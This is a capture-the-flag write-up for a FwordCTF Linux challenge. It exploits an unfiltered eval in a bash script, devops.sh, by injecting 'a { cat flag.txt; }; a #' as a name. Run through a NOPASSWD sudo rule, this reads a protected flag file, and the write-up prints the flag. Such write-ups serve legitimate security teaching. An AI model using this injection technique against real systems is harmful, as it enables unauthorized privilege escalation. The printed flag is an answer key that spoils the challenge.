Let's **ssh** into target machine with given password.```sh$ ssh -p 10000 [email protected]...user1@989e5134aee5:/home/user1$ whoamiuser1user1@989e5134aee5:/home/user1$ pwd/home/user1```We are `user1` and we are in `/home/user1` directory.
There are two interesting files in it.```shuser1@8753298afbf4:/home/user1$ ls -lahtotal 32Kdrwxrwxr-t 1 root  user1           4.0K Aug 27 22:44 .drwxr-xr-x 1 root  root            4.0K Aug 27 22:43 ..-rw-r--r-- 1 user1 user1            220 Feb 25  2020 .bash_logout-rw-r--r-- 1 user1 user1           3.7K Feb 25  2020 .bashrc-rw-r--r-- 1 user1 user1            807 Feb 25  2020 .profile-rwxr-xr-x 1 root  user-privileged  945 Aug 27 22:09 devops.sh-rwxr----- 1 root  user-privileged   67 Aug 27 22:09 flag.txt```The flag must be in `flag.txt`.However, we can't read it because we are not **user-privileged**.
But we can read `devops.sh` which is a bash script.```shuser1@98f2e7ef5bdd:/home/user1$ cat devops.sh#!/bin/bashPATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:"exec 2>/dev/nullname="deploy"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in  -V | --version )    echo "Beta version"    exit    ;;  -d | --deploy )      deploy=1     ;;  -p | --permission )     permission=1     ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo -ne "Welcome To Devops Swiss Knife \o/\n\nWe deploy everything for you:\n"
if [[ deploy -eq 1 ]];then        echo -ne "Please enter your true name if you are a shinobi\n"          read -r name        eval "function $name { terraform init &>/dev/null && terraform apply &>/dev/null ; echo \"It should be deployed now\"; }"        export -f $namefi
isAdmin=0# Ofc only admins can deploy stuffs o//if [[ $isAdmin -eq 1 ]];then        $namefi
# Check your current permissions admin-sanif [[ $permission -eq 1 ]];then        echo "You are: "         idfi```There is a **eval** command which executes arguments as a shell command at line 25 in `devops.sh`.
Before executing that command, the script asks for `name` and passes the value to the argument of **eval**.
There is no filter for `name`.So, command **injection** is possible!
One thing is that, we have to set `-d` or `--deploy` when executing the script to get to that part of the script.```sh...while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in  -V | --version )    echo "Beta version"    exit    ;;  -d | --deploy )  #!!!     deploy=1      #!!!     ;;  -p | --permission )     permission=1     ;;esac; shift; done...if [[ deploy -eq 1 ]];then   #!!!        echo -ne "Please enter your true name if you are a shinobi\n"          read -r name        eval "function $name { terraform init &>/dev/null && terraform apply &>/dev/null ; echo \"It should be deployed now\"; }"        export -f $namefi...```Let's give `a { echo GOOD; }; a #` when the script ask for `name`.So, the argument of **eval** will look like this
`function a { echo GOOD; }; a #{ terraform init &>/dev/null && terraform apply &>/dev/null ; echo \"It should be deployed now\"; }`
```shuser1@ef597d4726a8:/home/user1$ ./devops.sh -dWelcome To Devops Swiss Knife \o/
We deploy everything for you:Please enter your true name if you are a shinobia { echo GOOD; }; a #GOOD```Yay it works!
Now, let's try to read the flag```shuser1@17587ec35262:/home/user1$ ./devops.sh -dWelcome To Devops Swiss Knife \o/
We deploy everything for you:Please enter your true name if you are a shinobia { cat flag.txt; }; a #user1@17587ec35262:/home/user1$```Hmm... nothing happen?
That's because we are just `user1` when executing the script.```shuser1@17587ec35262:/home/user1$ ./devops.sh -dWelcome To Devops Swiss Knife \o/
We deploy everything for you:Please enter your true name if you are a shinobia { whoami; }; a #      user1```We have to find a way to become `user-privileged`.
Let's check what commands `user1` can do as **sudo**.```shuser1@17587ec35262:/home/user1$ sudo -lMatching Defaults entries for user1 on 17587ec35262:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user1 may run the following commands on 17587ec35262:    (user-privileged) NOPASSWD: /home/user1/devops.sh```It looks like we can run `devops.sh` as `user-privileged` without password.
Let's try it!```shuser1@6d6027070d37:/home/user1$ sudo -u user-privileged ./devops.sh -dWelcome To Devops Swiss Knife \o/
We deploy everything for you:Please enter your true name if you are a shinobia { cat flag.txt; }; a #FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}```And, there is the flag!
`FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}`